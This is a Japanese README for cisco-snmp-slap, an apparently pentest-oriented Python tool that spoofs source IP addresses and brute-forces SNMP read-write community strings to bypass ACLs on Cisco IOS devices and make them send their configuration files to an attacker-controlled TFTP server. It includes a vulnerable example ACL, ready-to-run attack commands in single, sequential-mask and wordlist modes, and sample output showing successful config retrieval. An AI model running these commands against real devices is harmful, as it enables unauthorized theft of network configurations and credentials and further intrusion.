
IPスプーフィングとSNMPコミュニティストリングのブルートフォースを行い、Cisco IOSデバイスのACLをバイパスして、TFTP経由で設定ファイルを外部に持ち出すためのツール。
cisco-snmp-slap は、IPアドレス・スプーフィングを利用して、Cisco IOSデバイス上のSNMPサービスを保護するACLをバイパスします。
通常、IPスプーフィングはDoS以外の実際の攻撃では使用が限られます。TCPサービスは初期ハンドシェイクを完了できません。UDPパケットはスプーフィングしやすいですが、戻りパケットはしばしば誤ったアドレスに送信されるため、返ってくる情報を収集するのは困難です。
しかし、攻撃者がSNMP rwコミュニティストリングと有効な送信元アドレスを推測できれば、SNMP MIBを設定できます。その最もわかりやすい用途の1つは、Cisco SNMPサービスにIOS設定ファイルを別のデバイスへ送信させることです。
このツールを使うと、1つ以上のIPアドレスからCiscoデバイスに対して1つ以上のコミュニティストリングを試せます。IPアドレスを指定する際、一連の送信元アドレスを連続的またはランダムに走査することもできます。
確認する送信元IPアドレスの範囲を指定するには、初期送信元アドレスとIPマスクを指定します。IPマスクでセットされているビットは、初期送信元アドレスを変更して送信元IPアドレスを生成するために使われます。
例えば、送信元アドレス 10.0.0.0 とIPマスク 0.0.0.255 を指定すると、スクリプトは 10.0.0.0 から 10.0.0.255 までのアドレスを探索します。
セットされたビットは、サブネットマスクのように連続している必要はありません。例えば、マスク 0.128.1.255 は有効で、10.0.128.0-1.0-255 の範囲を探索します。
IPアドレスの範囲をランダムまたは連続的にチェックする場合、tftpディレクトリのルートへのパスを入力する必要があります。スクリプトはこのディレクトリをチェックして、ファイルが正常に転送されたかどうかを確認します。
このツールは、ペンテスト中にCiscoレイヤ3スイッチをターゲットにするために書かれましたが、他の用途もあるかもしれません。これらのデバイスに対しては、次の理由でうまく機能します。
このスクリプトとそのソースコードに、ユーザーが他の興味深い用途を見つけてくれることを願っています。
この例では、コミュニティストリング 'cisco' を使用してSNMPサービスを保護するアクセスリストを持つ単純なIOSデバイスを扱います。
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10
あるIOSデバイスのIPアドレスは 10.0.0.1 です。
ペンテスターはIPアドレス 10.0.0.2 を持ち、TFTPサーバーを起動しています。
テスターがこれらをすべて把握している場合は、ワンショットのシングルモードを使ってデバイスの設定ファイルを取得します。例:
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
テスターが詳細を知らない場合は、推測を試みることもできます。テスターが事前調査を行い、すべての内部アドレスが10.0.0.0/8レンジであると判明したとしましょう。
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
このコマンドはすべての /24 を検索します。テスターは、単一のIPアドレスだけでなくサブネット全体がアクセスを許可されていると仮定することで、時間を節約できることを期待しています。
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
プログラムが 10.100.100.0/24 レンジに入ってから数個のIPアドレスを処理した後に終了し、成功を通知することに気づくはずです。これは、どの送信元アドレスが成功したかを特定することはできませんが、設定ファイルがtftprootに現れた後、いずれかのリクエストが成功したと判断するためです。実行中の設定を手に入れたので、ACLの詳細は自分で確認できます。
単一のコミュニティストリングを指定する代わりに、使用するリストを指定することもできます。モード名は同じですが、末尾に '_l' が付きます。
例えば、list.txt内のコミュニティストリングのリストを使って同じ攻撃を繰り返すには、次の引数を使用します。
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
これで、各IPアドレスがlist.txt内の各コミュニティストリングと照合されます。
プログラミング言語としては、Pythonはシンプルで読み書きしやすい言語です。見つけた問題をデバッグして修正し、変更を私に送ってくれることをお勧めします。NCC Githubで他のユーザーと共有できるようにします。
ただし、支援が必要な場合は、[email protected] までご連絡ください。できる限り対応しますが、私はフルタイムの開発者ではないこと(私のコードを見れば明らかだと思います!)と、すぐに時間を割けない場合があることをご了承ください。